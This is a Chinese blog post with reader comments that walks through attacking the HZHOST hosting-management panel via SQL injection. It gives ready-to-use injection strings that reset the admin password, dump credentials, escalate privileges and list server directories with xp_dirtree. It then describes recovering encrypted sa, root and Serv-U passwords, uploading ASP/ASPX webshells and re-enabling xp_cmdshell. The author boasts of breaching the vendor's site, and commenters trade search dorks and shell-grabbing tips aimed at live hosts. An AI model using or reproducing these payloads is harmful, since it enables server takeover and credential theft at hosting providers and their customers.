HZHOST域名虚拟主机管理系统sql注射漏洞+进一步利用

作者:叉叉兵

这是一个域名主机实时管理系统。在百度搜索: title: (域名主机实时管理系统) ,会找到大量采用这种系统的网站!太术语了。就是在线开通ftp.sql.web的一个管理系统。一套web程序。和IIS管理程序。实现在线开通的玩 意。所以:我们可以免费申请域名和空间!!哈哈!!!

web程序方面写的非常严谨。大量的过滤。由于是商业版的程序,所以我没有源码。本来是有的,但是放在家里的电脑上。放暑假时搞的shell现在都被删了。。。我现在又比较懒,就没去弄源代码。反正大家知道怎么弄的就行了。

这又是一个文本框的注射。我真不知道作者是怎么想的。其他地方都被过滤了。就留下域名管理这里没过滤。

1
2
3
官方放暑假的时候就被我搞了一遍,过了一个月他发现了。删了我的shell。不知道他怎么知道我从那里下的手搞的他。他居然补了漏洞。先上图,再说下利用方法。

123' UPDATE [memlst] SET u_pss='e10adc3949ba59abbe56e057f20f883e' WHERE u_nme='admin'--

这一句是把用户admin的密码修改为123456。管理员的后台地址一般是http://www.xx.com/master
或者直接在首页登陆了按切换到管理员后台。
4
如果admin不是超级管理员,那就有三个办法。

一是自己构造语句爆出来。
二是提升自己注册的用户的权限。
三是直接爆网站路径,再来个差异备份。

第一个方法我给出一条示范语句:

123' and (select top 1 isnull(cast([u_nme] as nvarchar(4000)),char(32))+char(94)+isnull(cast([U_pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )>0-- and '1'='1

可以同时爆出一个用户的帐号和密码。想爆出其他用户的语句自己构造吧。

第二个方法是:

123' UPDATE [memlst] SET u_sys=6 WHERE u_nme='你注册的用户名'--
123' UPDATE [memlst] SET u_pwr=2 WHERE u_nme='你注册的用户名'--

这2句话就能够提升自己为超级管理员

第三个方法很麻烦。但是很有效果。直捣黄龙。。很强大。我给出如下语句,大家自己研究去吧!

爆路径语句
第一步:建立表123' ;drop table foofoofoo;create table foofoofoo([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);-- and '1'='1
第二步:123' ;declare @z nvarchar(4000) set @z=0x63003a005c00 insert foofoofoo execute master..xp_dirtree @z,1,1-- and '1'='1
注意:0x63003a005c00 = C:\  为sql ENCODE
其他的自己找工具去转吧!
第三步:暴出总数 123' and (select cast(count(*) as varchar(8000))+char(94) from foofoofoo)>0-- and '1'='1
第四步:暴出你想要的文件夹名字和文件名字 123' and 0<(select top 1 cast([isfile] as nvarchar(4000))+char(94)+cast([name] as nvarchar(4000)) from (select distinct top  1 * from foofoofoo order by isfile,name) t order by isfile desc,name desc)-- and '1'='1
修改中间红色的1,依次爆出。

至于差异备份语句。让nbsi3告诉你吧。

对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!

我记得还有2篇关于hzhost的漏洞利用文章。名字不记得了。大家去搜索“hzhost漏洞”找找吧!里面提到下面两点内容!

1。是提到c:\windows\temp下有hzhost主机留下的ftp登陆记录。有用户名和密码
2。是利用hzhost拿系统主机最高权限的。

安装了hzhost的主机,其mssql sa密码,mysql root密码还有serv-u的administrator密码全部保存在注册表中。位置在

HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass

经过了hzhost自己的加密方式,象

eLVClO4tzsKBf#dee52443a3872cc159

这样的字符串。不过在hzhost后台可以还原!拿到了sa密码,或者root密码,最高权限就在眼前!禁止了w.s的话。大家就传aspx木马导撒!

我们传了一个asp木马上去后。在incs\constr.asp下面可以看到数据库连接串。然后连接到数据库。通过执行

SELECT * FROM [hstlst]

语句。可以看到很多主机记录。如图
5
发现什么没有?h_ftppass的密码和hzhost主机自己的加密串很相似。没错,主机管理的密码也是经过他自己的加密方式加了密!而我们在主机管理的地方!
6
看到明文密码。说明他又给还原回来了。明白了么?我们先通过aspx木马导出mysql,mssql的root,sa密码加密串后。
7
我们通过这条语句,修改别人的主机密码。

UPDATE [hstlst] SET h_ftppss='aPWw3j4zMaK83lHMBof9fc298b1d3d0a' WHERE h_ID=10000471

然后回过头去看主机密码。(这时候被转成了明文)
8
就拿到了root密码为:sphil_070921注意:由于有多种限制。我截的图可能不是很完美。但是此方法绝对可行。这方法是看到别人写的[利用hzhost取得最高权限]得到的启发。谢谢他。

我们也可以同样拿到sa密码,用sa帐号密码远程连接,直接恢复xp_cmdshell就可以执行系统命令了!

好了。就此结束!期待牛人写出还原密码程序!!这样就不用麻烦了!

相关日志

楼被抢了 14 层了... 抢座Rss 2.0或者 Trackback

  • cat9life

    找到好多用这套程序的网站 但是不知道这个“域名管理界面”是怎么出来的 admin.domain.com/net 都404

  • long

    关键问题是:那个域名管理的登陆界面和master的地址都找不到.

  • 顶顶顶顶的的

    提权不了啊,就是把用户提为管理员.那无效

  • cat9life

    master基本上都有 就是没有“域名管理”界面 我的qq:52425438 有兴趣的朋友一块讨论讨论吧

  • cnacp2

    master是主站或者代理平台的后台管理,每个hzhost的平台都存在的,域名管理这是另外一个站点,提供所有产品的管理.跟主站或平台没有关系.

  • 孤狐浪了

    百度一下N多。二分钟可以搞定这样的站拿到SHELL.

  • kof2008

    后台改了吧?

  • 哦哦

    百度搜索title: (域名主机实时管理系统)
    http://www.xxx.cn/domain/login.asp?domainpass=sb&domainname=sb
    域名后加上domain/login.asp?domainpass=sb&domainname=sb
    post提交,用穿山甲.NB3.0注入也性“列目录“备份拿SHELL

  • cn1111

    域名那输入长度 不够用? 请问lz是怎么做到的 找了几个 长度都不够用啊

  • hysia

    华众域名管理系统撒
    我这里有6.5的 PJ 版。
    自己安装后研究不是更方便

    不过 貌似有点大
    还有 安装教程

  • 猪猪

    没事,俺来只是想问候一句:“新年快乐”~!

  • renboo_chen

    好象这个文章出来后第2天好象漏洞都补回去了

  • 老时

    好像比以前热闹了。。。

    • cnc

      它的ftp的加密形中,如果密码是123456,那么它的加密字符串是多少啊,有边位好心人话我知啊?

发表评论